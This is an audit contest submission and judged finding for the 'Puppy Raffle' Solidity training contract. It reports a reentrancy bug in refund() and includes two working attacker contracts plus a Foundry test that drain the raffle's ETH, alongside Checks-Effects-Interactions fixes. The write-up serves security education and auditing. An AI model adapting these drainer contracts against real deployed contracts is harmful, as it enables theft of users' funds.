Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Reentrancy in refund() Allows Attacker to Drain Entire Contract Balance

lmsand

Root + Impact

  • Root: External Call Before State Update in refund()

  • Impact: Entire Contract ETH Balance Drained

Description

  • The refund() function sends ETH to the caller before updating the players array.

The function uses sendValue() to send ETH, which triggers the recipient's receive() function if they are a smart contract.

  • Because players[playerIndex] is still set to the attacker's address at the time of the external call, both require checks pass on every reentrant call.

  • This violates the Checks-Effects-Interactions pattern — the state update (effect) should always happen before the external call (interaction).

This creates a flaw where an attacker can recursively call refund() from their contract's receive() function, draining the entire contract balance before the state is ever updated.

// @audit state update happens AFTER external call
payable(msg.sender).sendValue(entranceFee); // interaction — triggers attacker's receive()
players[playerIndex] = address(0); // effect — too late!

Risk

Likelihood: High

  • Any user can deploy an attacker contract with a malicious receive() function

The attack only requires paying one entrance fee to enter the raffle

  • No special permissions or conditions are needed beyond being an active player

Impact:

  • Attacker can drain the entire contract balance in a single transaction

All legitimate players lose their entrance fees

  • The protocol becomes insolvent

  • Attack is extremely profitable — attacker puts in 1 ETH and walks away with all ETH in the contract

Proof of Concept

The following test demonstrates how an attacker contract can drain a contract holding 5 ETH (4 legitimate players + attacker) by recursively calling refund().

Step-by-step:

  1. Setup

    • 4 legitimate players enter the raffle, funding the contract with 4 ETH

    • Attacker deploys a malicious contract and enters the raffle with 1 ETH

  2. Attack Initiated

    • Attacker calls attack() which calls refund()

    • Contract sends 1 ETH to the attacker contract, triggering receive()

  3. Reentrancy Loop

    • receive() checks if the contract still has ETH and calls refund() again

    • players[playerIndex] is still the attacker's address so both require checks pass

    • This repeats until the contract balance drops below 1 ETH

  4. Result

    • Attacker started with 1 ETH, walks away with 5 ETH

    • Contract balance is fully drained

contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
​
function attack() public payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
​
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
​
function test_reentrancyRefund() public {
// 4 legitimate players fund the contract
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
// Deploy attacker and execute attack
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee);
​
attacker.attack();
​
// Attacker started with 1 ETH, now has 5 ETH
assert(attacker.getBalance() > entranceFee);
}

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern by updating state before making any external calls. Think of it as always doing things in this order — verify conditions first, update your records second, then and only then send ETH or call external contracts.

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
​
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!